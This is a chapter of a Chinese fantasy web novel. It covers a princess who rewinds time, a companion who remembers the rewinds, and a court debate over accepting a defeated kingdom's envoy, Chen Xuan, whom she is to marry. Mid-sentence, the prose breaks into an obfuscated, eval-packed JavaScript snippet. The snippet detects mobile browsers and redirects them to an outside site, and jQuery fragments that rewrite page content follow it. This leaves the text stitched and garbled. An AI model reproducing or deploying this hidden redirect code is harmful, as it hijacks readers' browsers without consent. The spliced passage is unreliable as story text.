元棉再次回溯了时空。
在姜问刷完两百遍浴桶之后。
从调动紫气催转大阵时起,元棉就将注意力放在了姜问身上。所以,元棉并没有错过时空回溯成功那一瞬间姜问眼底的异样。
·
“算了,此事是我冒昧。”
“九殿下只当我今日未曾来过。”
在察觉自己所处的位置突然变化并听到自己说出的话后,姜问眸底神色微变,几乎可以确定他身上这种时空的错乱与他和元棉的亲吻有关。
·
他有记忆。
元棉不清楚发生这种情况的原因,但她可以确定姜问有回溯的记忆,这么看,他今日这莫名且突然的举动倒是能解释通。
想到三日前自己数次回溯时空做的事,元棉沉默了下来。
但再想到方才姜问做的事,元棉的腰身又挺了起来。
想到她方才的诸多歪理邪说,元棉沉默了下来。
但想到时空已经回溯,姜问哪怕有记忆也没有证据之后,元棉的腰板又硬了。
·
姜问在得到想要的答案之后,抬脚准备离开,但才迈步,又顿住。
他转头看向仍旧坐在桌前的元棉。
“……”
按照方才的发展,她应该喊自己过去才对。
可她没喊。
对上姜问的目光,元棉语气无异,问他:“怎么了?”
姜问:“……”
姜问眯了眯眼睛,朝着元棉走了过去:“方才……”
元棉接话:“方才,你确实有些冒昧。”
?
姜问:“我冒昧?”
他们之间最先动嘴的人是小狗。
元棉:“不过无妨。”
元棉温声说:“你也说过,我想睡.你。”
“所以你方才的冒昧,我不会计较。”
姜问:“……?”
元棉的神情太过平静与正常,姜问不能确认她是不是当真也有时空错乱的记忆。
想了想,姜问如同此前的元棉那般捏住了她的下巴:“九殿下。”
姜问说:“谁教你这么做的?”
姜问:“避重就轻、倒打一耙。”
元棉“不解”:“你在说什么?”
姜问直视她的眼睛:“你我心知肚明的事情,九殿下仍要否认?”
元棉不闪不避:“抱歉,我有些不明白你的意思。”
姜问直觉元棉和他一样有时空错乱的记忆,但瞧着对方似乎不打算承认。
·
申时六刻,距离樊庆殿宴起还有两刻钟。
烟青带着准备好的三套宫装来了升平殿。
元棉从烟青带来的三套宫装里选了一件红色的换好后,带着她离开了升平殿。
“殿下……”
烟青跟在元棉身后,欲言又止:“要不,咱们还是回大乾吧。”
烟青:“等回了大乾,咱们便隐姓埋名再也不回来了!”
“在大乾的国土上,就算陛下想找您,也未必能找得到。”
元棉不常穿红色,但红色亦衬她。她五官本就生得精致,只略施粉黛,便一改此前的温婉,整个人瞧着明艳动人。
元棉没说话,烟青继续道:“天启国陈玄都七十多岁了,他死掉的那些孙辈都快和殿下您一样年纪了,您怎么能听陛下的同他联姻?”
“榕莫城内有秦将军,榕莫城外也有不少咱们的人,护送殿下您离开必然没问题!”
腰间挂着的玉牌突然自己晃了晃,元棉低头看了一眼,上面的数字突然从“50”降到了“10”。
瞧着,天启国的人似是入宫了。
“走吧。”元棉说:“今日过后再说。”
·
申时七刻,距离樊庆殿起宴仅剩一刻钟。
此时天尚未黑透,但樊庆殿内镶嵌着的通明宝珠已被唤醒,金莲宫灯的光芒穿过层层垂落的鲛绡纱幔照在大殿内的的白玉莲纹柱上,衬得整座大殿似能与皓月争辉。
大殿外玄甲禁军三步一岗,持戟肃立。
·
“陛下。”
“凛昭,你又忘了我们此行的目的。”
陈玄转头看向身后跟着的凛昭,不赞成的摇头。
“时雨尚未真的答应我们的请求,陛……主人何必现在就将姿态放的这般低?”
陈玄转身,眼神落寞地扫了一眼身后跟着的一众老弱妇残。
“因为……我想为他们这些人寻一条生路。”
“上苍容不下天启,我若不做这降臣,怕是就连剩下这些人,也要……”
陈玄摇了摇头。
陈玄:“走吧,莫要让陛下等久了。”
“唉——”
一连数道叹息声后,天启国的一群人迈着沉重的步伐继续朝樊庆殿的方向走。
·
樊庆殿内。
元棉同时雨国的一众君臣通过水镜将殿外发生的一切尽收眼底。
天隆帝坐在上首,不见半点此前在元棉面前时的威严,整个人面上带笑,瞧起来和善十足。
“诸位爱卿瞧着如何?”
水镜并未收起,距离天启国一行人入殿还有一些时间,殿内时雨国众臣畅所欲言。
“老臣观陈玄言行,不像作假。”
“这几年,天启与我们交手屡战屡败,派出的兵士一次不如一次,臣派人暗中潜入天启探查过,天启境内不止婴孩幼童难活,青壮更是在不断减少。”
这人看着水镜里的画面,说:“看陈玄此次带来的这些人,天启如今的实际情况想来或许要比我们了解的更艰难。”
元棉看了一眼说话的人。
脸没印象,名字亦没印象。
收回视线时,她面前桌上点心少了一块,这个有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542579|171049||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
印象。
又一人开口:“陈玄此人心思不浅,廖将军怎知他带这些人来不是有意如此?”
廖将军反驳:“因为我的人去天启国亲眼看过!这几年,天启国家家户户外面都在挂白幡!今天送幼子,明日葬老母!秦大人但凡差人去探过天启国境内的情况,便不会有此一问。”
“便是消失的人再多,也不可能整个天启凑不出一队像样的人来。”秦大人朝着天隆帝拱手:“臣还是觉得,陈玄此举怪异。”
“天启已经数次派使臣来我们时雨了,秦大人次次都觉得怪异,却又次次都说不出何处怪异。”
另一人同样朝着上首的天隆帝拱了拱手:“天启同我们之间兵戈千年,谁都不曾压到谁。可自陛下登基之后,时雨国内风调雨顺、国泰民安,天启却天灾不断、十室九空。可见陛下乃天命所归,得天道之钟爱。”
元棉瞧着天隆帝嘴角牵了牵。
但下一秒,他就摆手:“天命之事不提,今日只论陈玄。”
“是。”众臣应声。
“十年前天启怪事初降时,臣便派人去探查过。”位置比元棉还要靠前的一人开口:“所有事情发生的离奇,确实像极了天罚。”
“上月我们的人去天启时,半月都未曾在天启境内见到过一个青壮。”
“所以老臣觉得,陈玄今日并非是在惺惺作态。”
天隆帝下首莫风跟着开口:“儿臣赞同辰老大人的说法。”
“天启祈求时雨的庇护已经一年多了,这一年来,不论我们怎么刁难,天启都姿态极低。”
“儿臣觉得若是今日陈玄态度无异,天启寻求庇护一事可以应允。”
殿内议论声不绝。
但显然,在这场宴会之前,众臣已经大致达成了共识,除极少数的人之外,大多数的人都对天启一事持赞成态度。
莫风扫了一眼进殿之后一言未发的元棉,再次开口:“况且,王妹已经主动向父王提出了会嫁与陈玄。”
“陈玄如今子女尽丧,只要王妹再为他诞下一子半女,延续血脉和救他于水火的恩德一起,陈玄不论心底如何想,日后都对我时雨做不了什么。”
天隆帝瞧了一眼明显认真装扮过的元棉,眼底深处闪过满意。
“王女此举,大善!”
位置比元棉靠前的那名朝臣再次开口。
霎时间,樊庆殿内一片对元棉的颂扬之声。
元棉身后的烟青面无表情攥紧拳头,元棉并不搭话,只笑着朝众人举了举杯。
“天启国使臣到——”
一道传报声响起,殿内时雨君臣的交流声消失,所有人正襟危坐,一派上国风范。
“拜见陛下。”
陈玄进殿之后,便是一道叩首大礼。
在他对着上首的天隆帝叩首的同时,元棉腰间的青色玉牌再次晃了晃,玉牌上的数字从“10”降到了“1”。